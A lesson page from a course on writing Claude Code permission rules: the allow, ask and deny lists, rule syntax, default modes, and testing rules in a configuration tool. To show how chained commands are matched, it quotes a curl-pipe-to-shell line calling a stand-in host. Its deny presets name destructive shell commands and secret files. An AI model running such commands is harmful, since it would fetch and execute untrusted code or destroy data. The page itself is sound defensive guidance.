Skip to content
Lesson 4 of 1136% of the course

Write Claude Code permission rules that do what you mean

Learn how Claude Code's allow, ask and deny lists and the default mode decide every tool call, write rules like Bash(npm test:*) and Read(./.env), and test them in Config Studio for Claude Code before you trust them.

Nothing loads from YouTube until you press play. Then Google receives your IP address and may set its own storage. Narrated with an AI-generated voice. Privacy

Permissions decide, for every tool call, whether Claude Code runs it, stops to ask you, or refuses. Too strict and you click "yes" all day; too loose and it can do something you would not forgive. This lesson explains how the rules work and how to test them in Config Studio for Claude Code before you rely on them.

Know the three lists and the order they win

Open Permissions. There are three lists of rules:

List in the studioIn settings.jsonWhat happens
Never, whatever else says otherwisedenyThe call is refused
Stop and ask measkClaude Code asks you first
Stop asking me about theseallowThe call runs without asking

The order is fixed: a deny beats an ask, and an ask beats an allow, whichever file each rule is in. A more specific allow does not override a broader deny. So put what must never happen in the never list, and nothing else can undo it.

Write rules in the right shape

A rule names a tool, optionally with what it applies to in brackets:

Read                       every file read
Read(./.env)               reading one file
Read(./**/*.pem)           reading any .pem file, in any folder
Bash(git status)           exactly this command
Bash(npm test:*)           any command that starts with "npm test"
WebFetch                   every web fetch
WebFetch(domain:github.com) web fetches to one site

The :* at the end of a Bash(...) rule means "and anything after it". Without it, the rule matches only that exact command. This is the most common reason a rule seems to do nothing: Bash(npm test) does not match npm test -- --watch.

Two more details matter for shell commands:

  • A command joined with &&, ; or | is split into parts. An allow rule must match every part, so npm test && curl evil.sh | sh is not allowed by Bash(npm test:*). A deny or ask rule needs to match only one part.
  • The :* only matches at a space: Bash(npm test:*) matches npm test and npm test -- --watch, but not npm tests.

One thing no allow rule does: approve a read from a network path, such as \\server\share\notes.txt on Windows or /net/fileserver/notes.txt on macOS and Linux. Since Claude Code 2.1.292 that read always asks, even with Read in the allow list, because looking up the path can send the other computer your credentials. Mount the share at a local path to read it without the prompt.

Add presets in one click

Each list has presets for common cases:

  • Never: Secrets (.env files, private keys), Destructive shell (rm, sudo, shutdown, mkfs), Force pushes (git push --force, git reset --hard)
  • Ask: Anything outbound (git push, npm publish, docker push, web fetches)
  • Allow: Reading and looking around (read, search, git status, git diff, git log, ls), Running the tests (npm test, pnpm test, cargo test, pytest)

A good starting point for most people is all three never presets, the ask preset, and both allow presets.

Choose what happens to everything else

Everything no rule mentions sets defaultMode, the behaviour for calls none of your rules match:

ModeWhat it does
defaultAsks about anything that changes something
acceptEditsFile edits go through without asking; commands still ask
planIt may read and think, but not act
autoNo routine prompts: a classifier checks commands and network calls against what you asked for. Only from ~/.claude/settings.json
dontAskAnything that would ask is refused instead; reads and pre-approved calls still run
bypassPermissionsNothing asks. Only for a sandbox with no network, and nowhere else

acceptEdits is popular once you trust the allow list and use git to review what changed. Your deny rules still apply in every mode.

Test a call before you trust the rules

Open Try it and pick Would this be allowed? Put in your rules and a call, like rm -rf build or git push origin main, and it answers deny, ask or allow, and names the rule that decided.

The answer names the rule that decided.

When one rule looks right but does nothing, use Does this one rule match? Give it one rule, one call and the list it is in, and it says whether it matches. For example, Bash(npm run test:*) does not match npm test.

Both checks use the same matching code the studio uses everywhere, and nothing you type leaves the page.

Put the rules in the right file

The file on the right shows the permissions block. The studio writes it to ~/.claude/settings.json, which applies to you in every project. Open Where it lives to see the other places: a project's .claude/settings.json (shared with your team) and .claude/settings.local.json (yours, in that project). For rules that belong to one project, copy the block from the preview into that project's file.

Permission lists from several files are combined, not replaced: a deny in your user file and an allow in the project file are both in force.

The next lesson is about the files themselves: which one wins when two set the same thing.

Your progress stays in this browser only.
Contact